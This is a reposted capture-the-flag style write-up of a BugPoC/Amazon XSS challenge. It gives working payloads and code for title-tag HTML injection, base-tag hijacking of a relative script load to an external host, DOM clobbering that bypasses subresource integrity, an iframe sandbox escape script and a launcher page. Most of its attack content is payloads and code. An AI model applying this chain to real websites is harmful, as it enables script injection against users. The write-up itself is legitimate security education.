Wacky XSS challenge with amazon (by bugpoc)

InfoSec Write-ups – Medium–

Hey, welcome to the write up for wacky XSS challenge. Throughout the write-up, i will try to not to limit myself just to the payloads or steps i specifically used but will also give you guys a front row seat to the thinking process that went behind successful completion of this challenge.

The challenge was located at https://wacky.buggywebsite.com/ and ended on 9th november 10pm EDT.

I am gonna divide the challenge into several parts for better explanation:

https://medium.com/media/d8d8ac524e007bafa02647fee98a094b/href

1. The initial foothold html injection

You are greeted with this input field when you enter the challenge, after going around a bit i realised it has just 2 pages plus few scripts as well.

the home page

Our text was reflected on the iframe page inside, simply viewing frame source revealed our text was getting reflected at 2 places.

  1. title tag
  2. the boring text with each letter in different font

A very simple payload would reveal that the title tag is vulnerable to html injection

</title><script>alert(1)</script>

Our script obviously doesnt execute thanks to a defence mechanism called Content Security Policy. So lets move on to the next step.

https://medium.com/media/b3e049a7d01b231e36eff68fe71e1e7f/href

2. Outsmarting the CSP

Go to network tab and look at the page headers:

content-security-policy: script-src ‘nonce-ucbgymcgoplw’ ‘strict-dynamic’; frame-src ‘self’; object-src ‘none’;

few things to focus here:

  1. nonce — this makes it impossible to render any javascript until we have the randomly generated nonce value as the part of our script header. Since this changes every single time page reloads and theres no way we can predict it beforehand.
  2. frame-src —this specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>. more here

If we get nonce, we can esentially run any script. So, naturally first we gonna try leak it somehow. There were several resources on this but unfortunately none actually works for us. So not-defeated, just keeping this aside, i try to poke around a bit.

https://csp-evaluator.withgoogle.com/ — because we love to automate stuff

Enter your csp above here, and we get a critical a high severity finding error

base-uri[missing]

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?

so what is base-uri or base tag?

Lets say the webpage has a html tag <xxx src=/path>, in other words whenever relative paths are used instead of the whole url, the page completes this as http://www.origin/path however if the base tag(e.g.<base target="_blank" href="https://ift.tt/3naztyU present. Then its resolved to https://example.com/path despite whatever page its on. read more.

So lets hunt for what all things are loaded from relative path:

  1. script.setAttribute(‘src’, ‘files/analytics/js/frame-analytics.js’);
  2. <source src=”movie.mp4" type=”video/mp4">

So we have 2 cases in which we can force the page to load our file instead.

In the 2nd case since type is mp4, you can load any arbitary mp4 and cause to remote file inclusion but thats really not our motive here.

So unless we find a vuln in the video parsing library of chrome and load a malicious video we cannot really cause an XSS.

Now, onto first — here a defence called subresource integrity has been applied.

Why is this a big deal?
Because what this does is it loads the hash value of contents of the script and compares it with a hardcoded hash, so even if we are able to inport our own script we cant really change it to anything else other than the real script introduced by the developer. more here.

Present payload:

</title><base target=”iframe” href=”https://ift.tt/3lhNdHB">

Here i am using mock endpoint as well as flexible redirector by bugpoc, since its so so much easier than hosting a file over https server and constantly making changes to it and defining headers for it.

looks like….

https://medium.com/media/9ec7026b3eaa93025515cdd4584c86fb/href

3. Defeating the Subresource Integrity

A hacker’s worst nightmare — a hash function.

Since the subresource is being hashed and compared to a hard coded value, we really have only 3 choices:

  1. Find an exception in implementaion of SRI where it skips validation.
  2. Create a different malicious script with same hash.
  3. Change the value we are comparing it to.

Since CVE-2016–1636, which was patched in Google Chrome 49.0.2623.75, There isnt any known exploit affecting the library. So the 1st choice is off the table.

We all know hash collisions exist. But only theoritically. So, I had rule out the 2nd choice as well.

So we have just 3rd choice left, which also seems impossible. or is it?

DOM CLOBBERING TO RESCUE!!!

Heres a snippet from the page source:

<script nonce=xxxxxxxx>
window.fileIntegrity = window.fileIntegrity || {
‘rfc’ : ‘ https://w3c.github.io/webappsec-subresource-integrity/',
‘algorithm’ : ‘sha256’,
‘value’ : ‘unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=’,
 — snip —

“A common pattern used by JavaScript developers is:

var someObject = window.someObject || {};

If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor…”

This is well explained here.

But the common payloads like:

<form id=”fileIntegrity”><a id=”fileIntegrity” name=”value” href=”d8Ic1uV7IeB50l……..GWd12CUZbfm8czJw=”>

wont cut it here, because since we are using base tag as well, it gets modified to

sha256-www.redir.com/d8Ic1uV……….d12CUZbfm8czJw=

instead of

sha256-d8Ic1uV7I………Wd12CUZbfm8czJw=

After a bit of reading around, i finally formulated another payload — which can be found here as well.

so our payload until now is:

</title><base target=”iframe” href=”https://ift.tt/35fxiUN id=fileIntegrity>s7ukMoQThWrleJgNJPZfhm0YhrdECzffE0ZjASRRO0U=</output>

We have basically declared a global variable(which overrides the hardcoded one):
fileIntegrity.value=the_ hash_of_our_file //you can try this in console

P.S. to obtain the hash there are several ways, however entering the payload with wrong hash displays the right one in console so its just the fastest one.

We cannot yet pop alert right now due to iframe sandboxing but go on, try having console.log(“hacked”) inside your js file 😉 you deserve some serotonin.

https://medium.com/media/d33f78adceca1095e6cf32fa9122bfb7/href

4. Breaking out of the sandbox

Our challenge is to display an alert box, if you look here

// create a sandboxed iframe
analyticsFrame = document.createElement(‘iframe’);
analyticsFrame.setAttribute(‘sandbox’, ‘allow-scripts allow-same-origin’);
analyticsFrame.setAttribute(‘class’, ‘invisible’);
document.body.appendChild(analyticsFrame);

Since our script is loaded inside an iframe, to be able to display an alert box we need an attribute allow-modal which is not present here.

Stop googling for iframe sandbox bypass already, you wont find anything worthwhile, however if you go here and scroll down and down and down.
You will see a warning message.

Notes about sandboxing:

When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.

https://medium.com/media/26715039e041e7d98dc0430ca6061f45/href

So we have to write a script that will remove the iframe and replace it with one without restriction. You following along? This sounds easy but in-reality there was really not much information on this.

Dusekdan offers us the poc for this —sadly however it really wont work for us right off the bat so heres my code with few tune ups(i haven’t deleted some of the original code for this presentation because it gives a good visualisation):

const illegalCode = () => {
alert(“You should not see me, because original iframe did not have ‘allow-modals’. iframe had allow-scripts and same-origin though. A new iframe without sandbox attribute was created — and here I am.”);
//sadly this doesnt fire anyway
}

const escape = () => {
document.body.innerText = “Loaded into a frame.”;

let parent = window.parent;
let container = parent.document.getElementsByTagName(“iframe”)[0];
if (parent.document.getElementsByTagName(“iframe”)[0] != null) {
// Recreate and insert an iframe without sandbox attribute that
// plays by our rules.
let replacement = parent.document.createElement(“iframe”);
replacement.setAttribute(“id”, “escapedAlready”);
//instead of using src to this script again which wont work for us thanks to
//frame-src self csp, a clean work around was to enter data inside script tag
let g = document.createElement(“script”);
g.innerHTML = “alert(origin)”;
replacement.appendChild(g);
parent.document.body.append(replacement);

// Remove original iframe (avoid an infinite loop)
container.parentNode.removeChild(container);

//code in the else statement wont work for us since we arent opening this script //again
} else {
illegalCode();
}
}

escape();

What we did it we from inside the iframe went to the parent document, selected the tag then in replacement created an iframe again but without sandbox attribute and inside it we added our little script.

So go mock endpoint by bugpoc and save this script, then to flexible redirector and paste the link there and get the url to be inserted in base tag.

Dont forget to add header

access-Control-Allow-Origin: *

Our payload now finally:

</title><base target=”iframe” href=”https://zu2i14sjykqz.redir.bugpoc.ninja/"><output id=fileIntegrity>s7ukMoQThWrleJgNJPZfhm0YhrdECzffE0ZjASRRO0U=</output>

https://medium.com/media/37da49bc2666c4d879591c9a57ab5f7f/href

5. Automate entering this payload

But convincing the victim to enter this in his webpage is a little too much.

If you just go to inspect element you will see the url of iframe with our payload.

Copy and paste the link in the new tab.

It doesnt work, because the page needs to be loaded inside an iframe.

lets look at the code again for the last time:

// verify we are in an iframe
if (window.name == ‘iframe’){

so lets do just some more scripting for the one last time:

<html>
<body>

<p>Click the button to commence attack</p>

<button onclick=”myFunction()”>the button</button>

<script>

function myFunction() {
myWindow = window.open(“https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20target=%22iframe%22%20href=%22https://zu2i14sjykqz.redir.bugpoc.ninja/%22%3E%3Coutput%20id=fileIntegrity%3Es7ukMoQThWrleJgNJPZfhm0YhrdECzffE0ZjASRRO0U=%3C/output%3E", “iframe”, “width=2000,height=1000”);
}

</script>

Opening a window and naming it as iframe does the trick and we get our beautiful alert box displaying origin and then one by amazon thanking us for our participation.

https://medium.com/media/dab7c2581af5d75d7ab10858e5376e1a/href

Stay safe

All the attack above are caused when developer trusts out of the box defence solutions too much.

A fortress is only as strong as its weakest point.

The underlying principle is to strengthen each phase of defence mechanism, and to enforce a zero-trust-policy. The user input should always be considered malicious. Thankyou for reading! and until next time.


Wacky XSS challenge with amazon (by bugpoc) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

View original article on InfoSec Write-ups – Medium

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s